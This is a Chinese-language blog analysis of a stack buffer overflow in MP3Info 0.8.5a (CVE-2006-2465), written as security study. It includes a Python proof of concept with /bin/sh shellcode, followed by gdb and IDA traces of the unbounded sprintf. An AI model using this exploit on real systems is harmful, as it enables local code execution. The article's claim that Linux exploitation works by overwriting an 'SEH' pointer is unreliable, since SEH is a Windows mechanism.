Linux漏洞分析--MP3Info 0.8.5a代码执行漏洞(CVE-2006-2465)

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/cb7b619a10a40aaac2113b87bb2b2ea2-mp3info-0.8.5a.tgz

PoC:

junk = "\x90\x90\x90\x90"*8 
shellcode = "\x31\xc0\x50\x68/\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer = "\x90\x90\x90\x90"*89
eip = "\x10\xf0\xff\xbf"

print "# MP3info is prone to a Stack-BoF"
print "# Wasting CPU clocks on unusable exploits"
print "# This is exploit is for educational purposes"

try:
    subprocess.call(["mp3info", junk+shellcode+buffer+eip])
except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "MP3Info not found!"
    else:
    print "Error executing exploit" 
    raise

测试环境:
Kali 2.0

这个漏洞是个本地代码执行漏洞,poc的意思其实也就是调用mp3info,通过命令行传入畸形字符串,可以直接用$python -c的方法传入畸形字符串也可以的。用gdb打开,然后run $python -c+畸形字符串就可以直接到达漏洞现场,这个是我调试的第一个Linux漏洞,漏洞比较基础,有代表性。

此漏洞是我的第一篇linux分析,特此纪念一下!GET了很多新的linux下的调试方法,非常有收获。


漏洞复现


此漏洞并不像详情描述的那样,而是在处理MP3路径时,由于路径不可读,而转入错误处理流程时,错误的将文件路径传入,作为错误信息传入linux的perror()函数,在处理过程中发生错误,进入SEH异常函数,再通过覆盖SEH指针执行任意代码。下面对此漏洞进行详细分析。

首先我们需要在linux下编译MP3Info,需要下载一个依赖的头文件libncurses5-dev,安装后可以编译MP3Info,编译完成后,我们不利用poc,直接用python输入畸形字符串。

root@root:~/Desktop/mp3info-0.8.5a# ./mp3info $(python -c 'print "\x41"*100')
Error opening MP3: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory
root@root:~/Desktop/mp3info-0.8.5a# ./mp3info $(python -c 'print "\x41"*700')
Segmentation fault

可以看到,当畸形字符串长度到达700的时候,提示Segmentation fault,也就是指针出现错误,或者发生了缓冲区溢出。我们用gdb-peda来看一下崩溃时的信息。

首先是崩溃点。

[-------------------------------------code-------------------------------------]
   0xb7e067cb <__GI_getenv+107>:    mov    esi,DWORD PTR [ebp+0x0]
   0xb7e067ce <__GI_getenv+110>:    test   esi,esi
   0xb7e067d0 <__GI_getenv+112>:    je     0xb7e0682a <__GI_getenv+202>
=> 0xb7e067d2 <__GI_getenv+114>:    cmp    di,WORD PTR [esi]

可以看到,在cmp比较语句时发生了错误,基本可以判断esi寄存器应该是个不可读的地址。

[----------------------------------registers-----------------------------------]
EAX: 0x6 
EBX: 0xb7f7c000 --> 0x1a5da8 
ECX: 0x414c ('LA')
EDX: 0xffbab8be 
ESI: 0x41414141 ('AAAA')

可以看到ESI的值确实是不可读的地址41414141,那么我们现在来回溯堆栈调用。

gdb-peda$ bt
#0  __GI_getenv (name=0xb7f32ff5 "NGUAGE", name@entry=0xb7f32ff3 "LANGUAGE")
    at getenv.c:85
#1  0xb7dff10e in guess_category_value (
    categoryname=0xb7f1c953 <_nl_category_names+51> "LC_MESSAGES", 
    category=<optimized out>) at dcigettext.c:1356
#2  __dcigettext (
    domainname=domainname@entry=0xb7f32fae <_libc_intl_domainname> "libc", 
    msgid1=msgid1@entry=0xb7f336a5 "File name too long", 
    msgid2=msgid2@entry=0x0, plural=plural@entry=0x0, n=n@entry=0x0, 
    category=category@entry=0x5) at dcigettext.c:561
#3  0xb7dfe1f3 in __GI___dcgettext (
    domainname=0xb7f32fae <_libc_intl_domainname> "libc", 
    msgid=0xb7f336a5 "File name too long", category=category@entry=0x5)
    at dcgettext.c:52
#4  0xb7e4ff2f in __GI___strerror_r (errnum=errnum@entry=0x24, 
    buf=buf@entry=0xbfffea20 "@\360\377\267", buflen=buflen@entry=0x400)
    at _strerror.c:71
#5  0xb7e36257 in perror_internal (fp=fp@entry=0x804f008, 
    s=s@entry=0xbffff040 "Error opening MP3: ", 'A' <repeats 181 times>..., 
    errnum=errnum@entry=0x24) at perror.c:37
#6  0xb7e3633e in __GI_perror (
    s=0xbffff040 "Error opening MP3: ", 'A' <repeats 181 times>...)
    at perror.c:74
#7  0x08049597 in main (
    argc=<error reading variable: Cannot access memory at address 0x41414141>, 
    argv=<error reading variable: Cannot access memory at address 0x41414145>)
    at mp3info.c:195
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

我们主要来看0x08049597这个位置的调用,因为之后就进入系统函数了,那么我们就从0x08049597这个位置开始,进行分析。


漏洞分析


通过ida打开这个elf文件,我们来看一下0x08049597处的调用情况。

loc_804957B:
fp = eax                ; FILE *
lea     edi, [ebp+error_msg]
fp = edx                ; FILE *
push    eax
push    dword ptr [esi]
push    offset aErrorOpeningMp ; "Error opening MP3: %s"
push    edi             ; s
call    _sprintf
mov     [esp], edi      ; s
call    _perror

可以看到,在漏洞发生前call调用了perror这个系统函数,这个系统函数是用来输出错误信息的,而其参数为一个指针。

void perror(const char *s); 

我们向上回溯,可以看到一fopen打开操作。

.text:08049180 loc_8049180:                            ; CODE XREF: main+581j
.text:08049180                 cmp     [ebp+view_only], 1
.text:08049187                 jz      loc_804933E
.text:0804918D                 sub     esp, 8
.text:08049190                 push    offset modes    ; "rb+"
.text:08049195
.text:08049195 loc_8049195:                            ; CODE XREF: main+5C5j
.text:08049195                 push    dword ptr [esi] ; filename
.text:08049197                 call    _fopen

进行fopen之后,会有一处跳转,当文件不能打开时,会进入perror()函数对应的分支处理,那么我们就从fopen下断点开始跟踪,还原漏洞发生的整个过程。

我们利用

b*0x08049197

在fopen处下断点,观察一下到达此时栈的情况,首先是栈内的情况。

[------------------------------------stack-------------------------------------]
0000| 0xbfffee10 --> 0xbffff337 ('A' <repeats 200 times>...)
0004| 0xbfffee14 --> 0x804b8dd --> 0x45006272 ('rb')
0008| 0xbfffee18 --> 0x1 

此时栈顶的的值分别为0xbffff337和0x804b8dd,栈情况在后面显示的已经很明显,此时0xbffff337对应的文件路径。

gdb-peda$ x/10x 0xbffff337
0xbffff337: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff347: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff357: 0x41414141  0x41414141

当然啦,这个就是畸形字符串了,也是无法打开的,接下来,进入无法打开文件的分支。

gdb-peda$ x/10x $esi
0xbffff208: 0xbffff39b  0x00000000  0xbffff658  0xbffff663
0xbffff218: 0xbffff674  0xbffff687  0xbffff6b2  0xbffff6c3
0xbffff228: 0xbffff6da  0xbffff6ea
gdb-peda$ x/10x 0xbffff39b
0xbffff39b: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff3ab: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff3bb: 0x41414141  0x41414141

执行到perror的时候,可以看到此时esi已经是畸形字符串了,而直到此时,还没有对perror的参数,接下来执行到perror的处理中时。

gdb-peda$ x/100x $ebp
0xbffff210: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff220: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff230: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff240: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff250: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff260: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff270: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff280: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff290: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2d0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2e0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2f0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff300: 0x41414141  0x41414141  0x41414141

此时我们来回顾一下之前为什么会出现这种情况,前面的fopen附近都没有什么问题,问题出现在perror之前。

loc_804957B:
fp = eax                ; FILE *
lea     edi, [ebp+error_msg]
fp = edx                ; FILE *
push    eax
push    dword ptr [esi]
push    offset aErrorOpeningMp ; "Error opening MP3: %s"
push    edi             ; s
call    _sprintf
mov     [esp], edi      ; s
call    _perror

这里我们就不用ida进行反编译了,我们直接来看一下这个函数

sprintf(edi,offset aErrorOpeningMp,[esi],eax)
perror(edi)

那么问题来了,实际上edi就是错误消息,而这个错误消息却被esi赋值,esi的值就是错误路径的值,这时传入会造成ebp被覆盖,上面已经展示了,覆盖后有一处会将ebp+0x00的值读取给esi,后面又调用esi的地址做cmp,从而造成地址不可读。
接下来进入seh异常处理函数,通过覆盖seh指针,可造成任意代码执行。

Comments
Write a Comment